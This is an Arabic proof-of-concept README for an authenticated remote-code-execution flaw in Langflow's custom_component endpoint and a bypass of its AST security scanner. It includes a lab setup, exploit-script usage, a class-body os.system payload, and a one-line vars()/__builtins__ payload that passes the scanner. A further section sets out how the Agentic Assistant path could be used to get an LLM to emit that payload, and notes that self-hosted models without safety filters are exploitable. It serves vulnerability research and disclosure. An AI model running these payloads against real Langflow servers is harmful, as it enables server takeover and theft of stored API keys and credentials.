
PoC لـ CVE-2026-17633 — تنفيذ أوامر عن بُعد (RCE) بعد المصادقة في IBM Langflow OSS 1.0.0–1.10.3 عبر نقطة نهاية custom_component. يتضمن بحث تجاوز ماسح AST الخاص بـ CVE-2026-17632.
لأغراض تعليمية فقط. لا تستخدمه إلا ضد الأنظمة التي تملكها أو لديك تفويض كتابي صريح لاختبارها.
Langflow هو منصة مفتوحة المصدر منخفضة الكود (low-code) لبناء تطبيقات مدعومة بنماذج اللغة الكبيرة (LLM) وسير عمل وكلاء الذكاء الاصطناعي. يوفر واجهة مرئية بالسحب والإفلات حيث يمكن للمستخدمين ربط المكونات — النماذج، أدوات الاسترجاع، الأدوات، الذاكرة، كود Python المخصص — في تدفقات قابلة للتنفيذ. تتيح ميزة المكوّن المخصص (Custom Component) للمستخدمين تعريف سلوك المكوّن مباشرةً بلغة Python، وهو سطح الهجوم المستغل في هذا البحث.
في 5 أغسطس 2026، نشرت IBM نشرة أمنية تكشف عن مجموعة من الثغرات التي تؤثر على إصدارات Langflow OSS من 1.0.0 حتى 1.10.3. النشرة الكاملة متاحة على:
يركز هذا البحث على ثغرتين من تلك الدفعة:
| CVE | CVSS | الملخص |
|---|
| CVE-2026-17633 | 8.5 HIGH | تنفيذ كود عن بُعد (RCE) بعد المصادقة عبر /api/v1/custom_component — يُمرَّر الكود مباشرةً إلى exec() دون أي فحص أمني |
| CVE-2026-17632 | 8.8 HIGH | تجاوز ماسح الأمان AST — كود Python مُصمَّم يمر عبر scan_code_security() مع is_safe: True بينما ينفّذ أوامر نظام تشغيل عشوائية |
تم اكتشاف كلتا الثغرتين بشكل مستقل من خلال تحليل الكود المصدري الساكن لـ Langflow 1.10.3.
أُجري هذا البحث في بيئة مختبر معزولة ضد نسخة Langflow مستضافة ذاتيًا. جميع النتائج مُفصح عنها بمسؤولية. لا تستخدم هذا ضد أنظمة دون تفويض كتابي صريح.
نقطة النهاية POST /api/v1/custom_component في Langflow OSS 1.0.0–1.10.3 تقبل كود Python عشوائي من مستخدم مُصادَق عليه وتنفّذه على الخادم عبر دالة exec() في Python. على عكس مسار Agentic Assistant، لا تستدعي نقطة النهاية هذه scan_code_security() أو أي مدقّق محتوى آخر قائم على AST قبل التنفيذ. يمكن لأي مستخدم مُصادَق عليه تحقيق تنفيذ كود عن بُعد (RCE) بطلب HTTP واحد.
CWE-94 — التحكم غير السليم في توليد الكود
/api/v1/custom_componentالمصدر: langflow/api/v1/endpoints.py — السطر 1271
@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
raw_code: CustomComponentRequest,
user: CurrentActiveUser,
request: Request,
) -> CustomComponentResponse:
...
# Only check: is allow_custom_components enabled?
if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, ...)
# No call to scan_code_security() here
component = Component(_code=effective_code)
built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)
عندما يكون LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true (وهو أمر شائع في عمليات النشر الإنتاجية)، يذهب الكود مباشرةً إلى build_custom_component_template() مع عدم فحص المحتوى إطلاقًا.
prepare_global_scope() و ast.Exprيؤدي سلسلة التنفيذ إلى create_class() في lfx/custom/validate.py، والتي تستدعي prepare_global_scope() قبل تجميع الفئة وتنفيذها:
def prepare_global_scope(module):
exec_globals = globals().copy()
...
for node in module.body:
if isinstance(node, ast.Import | ast.ImportFrom):
imports.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
...
if definitions:
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals) # ← exec() happens here
استدعاء دالة مجرّد على مستوى الوحدة (مثل os.system(...)) هو عقدة ast.Expr — لا يطابقه فحص isinstance ويُهمَل بصمت. ومع ذلك، فإن الكود الموضوع داخل جسم الفئة هو جزء من عقدة ClassDef ويُنفَّذ بالكامل عند تعريف الفئة عبر exec() داخل compile_class_code().
هذه هي الرؤية الأساسية: يجب أن يكون الحمولة داخل جسم الفئة، وليس على مستوى الوحدة.
# ❌ Module-level — ast.Expr — silently ignored by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")
class PocComponent(Component):
...
# ✅ Class body — executed at class definition time via exec()
class PocComponent(Component):
os.system("id > /tmp/pwned.txt") # ← runs here
...
Authenticated attacker
│
▼
POST /api/v1/custom_component
{ "code": "<malicious Python class>" }
│
▼
build_custom_component_template()
│
▼
create_class() — lfx/custom/validate.py
│
▼
prepare_global_scope() → imports resolved
│
▼
compile_class_code() → exec(compiled_class, exec_globals)
│
▼
Class body executed at definition time
│
▼
RCE — uid=1000(user) gid=0(root) inside container
لا حاجة إلى LLM. لا حاجة إلى تجاوز الماسح. طلب HTTP واحد.
| المتطلب | القيمة |
|---|---|
| نظام التشغيل المضيف | Kali Linux (مُختبَر) |
| Docker | CE 5.x + إضافة Compose v2 |
| صورة Langflow | langflowai/langflow:1.10.3 |
| الذاكرة العشوائية | 4 GB كحد أدنى للحاوية |
أنشئ دليلًا للمختبر واحفظ ما يلي باسم docker-compose.yml:
services:
langflow:
image: langflowai/langflow:1.10.3
pull_policy: missing
restart: "no"
ports:
- "127.0.0.1:7860:7860"
environment:
- LANGFLOW_AUTO_LOGIN=false
- LANGFLOW_SUPERUSER=admin
- LANGFLOW_SUPERUSER_PASSWORD=Lab-Passw0rd!
- LANGFLOW_SECRET_KEY=change_this_to_something_random
- DO_NOT_TRACK=true
- LANGFLOW_CONFIG_DIR=/app/langflow
- LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true
volumes:
- langflow-data:/app/langflow
volumes:
langflow-data:
ابدأ المختبر:
docker compose up -d
# Wait ~30 seconds for Langflow to initialize
curl http://127.0.0.1:7860/health
# Expected: {"status":"ok"}
سجّل الدخول إلى http://127.0.0.1:7860 باستخدام بيانات اعتماد المستخدم الخارق المحددة أعلاه. يُخزَّن رمز الوصول في ملف تعريف ارتباط المتصفح access_token_lf. بدلًا من ذلك، استرجعه عبر API:
curl -s -X POST http://127.0.0.1:7860/api/v1/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=Lab-Passw0rd!" | python3 -m json.tool
انسخ قيمة access_token من الاستجابة.
python3 exploit_CVE-2026-17633.py [-h] -t TARGET -k TOKEN [-c COMMAND] [--verbose] [--timeout TIMEOUT]
-t, --target TARGET Langflow base URL (e.g. http://127.0.0.1:7860)
-k, --token TOKEN Bearer token of the authenticated user
-c, --command COMMAND OS command to execute (default: id > /tmp/pwned.txt)
--verbose Print full payload and server response
--timeout TIMEOUT Request timeout in seconds (default: 30)
python3 exploit_CVE-2026-17633.py \
-t http://127.0.0.1:7860 \
-k <bearer_token> \
-c 'id > /tmp/pwned.txt'
المخرجات المتوقعة:
============================================================
PoC CVE-2026-17633 — Langflow Custom Component RCE
CVSS 8.5 HIGH — Authenticated RCE
IBM Langflow OSS 1.0.0 – 1.10.3
============================================================
[*] Health: {"status":"ok"}
[*] Target: http://127.0.0.1:7860/api/v1/custom_component
[*] Command: id > /tmp/pwned.txt
[*] Vector: class body exec() — no scanner
[*] HTTP Status: 200
============================================================
[+] VULNERABLE — CVE-2026-17633 CONFIRMED
============================================================
[+] Endpoint processed the component (200 OK)
[+] exec() triggered — command executed: id > /tmp/pwned.txt
[*] Verify the effect on the server:
docker exec <container_id> cat /tmp/pwned.txt
docker exec <container_id> cat /tmp/pwned.txt
المخرجات المتوقعة:
uid=1000(user) gid=0(root) groups=0(root)
ملاحظة: يعمل Langflow 1.10.3 بمعرّف
uid=1000(user)داخل الحاوية، وليس كـ root. ومع ذلك، داخل الحاوية ينتمي المستخدم إلىgid=0(root)، ومن هناك تُعدّ الحركة الجانبية إلى المضيف أو الخدمات المتصلة (مفاتيح API لمزوّد LLM، بيانات اعتماد قاعدة البيانات، رموز مخزن المتجهات) سيناريو ما بعد الاستغلال الواقعي.
أثناء تحليل الكود المصدري لـ Langflow 1.10.3 لفهم CVE-2026-17633، تم أيضًا فحص مسار كود Agentic Assistant. أدى ذلك إلى اكتشاف scan_code_security() في langflow/agentic/helpers/code_security.py — وهو ماسح أمني قائم على AST يُطبَّق على كود المكوّن المولَّد بواسطة LLM قبل وصوله إلى validate_component_runtime().
الماسح متطور: يتتبع أسماء الاستيراد المستعارة، ويكتشف الاستيرادات الشاملة (wildcard)، ويتعامل مع انعكاس getattr()، ويحجب قائمة شاملة من الاستدعاءات الخطرة (os.system، subprocess، exec، eval، __import__، إلخ).
كشف التحليل الدقيق لـ DANGEROUS_CALLS عن مدخل مفقود:
DANGEROUS_CALLS: dict[str, str] = {
"exec": "Use of exec() is forbidden in components",
"eval": "Use of eval() is forbidden in components",
"compile": "Use of compile() is forbidden in components",
"__import__": "Use of __import__() is forbidden in components",
"globals": "Use of globals() is forbidden in components",
"open": "Use of open() is forbidden in components",
"breakpoint": "Use of breakpoint() is forbidden in components",
# "vars" → NOT PRESENT ← gap identified here
}
vars() غائب. في سياق exec() الخاص بـ create_class()، تُرجع vars() القيمة exec_globals، التي تحتوي على importlib الموروثة من المتغيرات العامة لوحدة validate.py. بالإضافة إلى ذلك، فإن ["__builtins__"] هو وصول بفهرس (subscript) (ast.Subscript)، وليس وصول بسمة (ast.Attribute)، لذا لا يفحصه visit_Attribute() ولا DANGEROUS_DUNDER_ATTRS أبدًا.
is_safe: Trueالحمولة التالية تمر عبر scan_code_security() دون أي انتهاكات:
vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")
تم التحقق مباشرةً مقابل الماسح داخل الحاوية:
from langflow.agentic.helpers.code_security import scan_code_security
test_code = 'vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")'
result = scan_code_security(test_code)
print('is_safe:', result.is_safe)
print('violations:', result.violations)
المخرجات:
is_safe: True
violations: ()
تم أيضًا تأكيد تنفيذ RCE بتشغيل التجاوز مباشرةً في نفس سياق exec() الذي يستخدمه create_class():
import importlib, sys, ast
exec_globals = globals().copy()
exec('vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")', exec_globals)
المخرجات في /tmp/pwned.txt:
uid=1000(user) gid=0(root) groups=0(root)
يُستغَل CVE-2026-17632 عبر مسار Agentic Assistant:
POST /api/v1/agentic/assist/stream
→ LLM generates Python component code
→ extract_component_code() extracts the ```python``` block
→ validate_component_code() — AST structural check → PASS
→ scan_code_security() — bypass via vars() → PASS (is_safe: True)
→ validate_component_runtime() — exec() without sandbox → RCE
تتطلب آلية التسليم أن يعيد LLM إنتاج حمولة التجاوز حرفيًا في استجابته. عمليًا، ترفض نماذج LLM المستضافة سحابيًا مع مرشحات أمان المحتوى (OpenAI، Anthropic، معظم نماذج OpenRouter المجانية) إخراج حمولات تحتوي على __import__ أو os.system أو أنماط مشابهة، حتى عند تأطيرها كبحث أمني أو توثيق.
هذا قيد واقعي في الاستغلال الفعلي أيضًا: سيواجه المهاجم الذي يستهدف نسخة Langflow مع مزوّد LLM سحابي مُهيّأ نفس مرشح المحتوى. الثغرة قابلة للاستغلال بالكامل ضد عمليات النشر التي تستخدم نماذج مستضافة ذاتيًا (Ollama، vLLM، LM Studio) أو نماذج خاصة مُدرَّبة بدقة دون محاذاة أمان — والتي تمثل جزءًا كبيرًا من عمليات نشر Langflow في المؤسسات.
تم تأكيد تجاوز ماسح AST (is_safe: True) وتنفيذ RCE عبر exec() بشكل مستقل. سلسلة التسليم من البداية إلى النهاية عبر LLM هي البند البحثي المفتوح لـ CVE-2026-17632.
أُجري البحث على Langflow OSS 1.10.3 في بيئة مختبر معزولة. نشرة IBM الأمنية: https://www.ibm.com/support/pages/node/7282646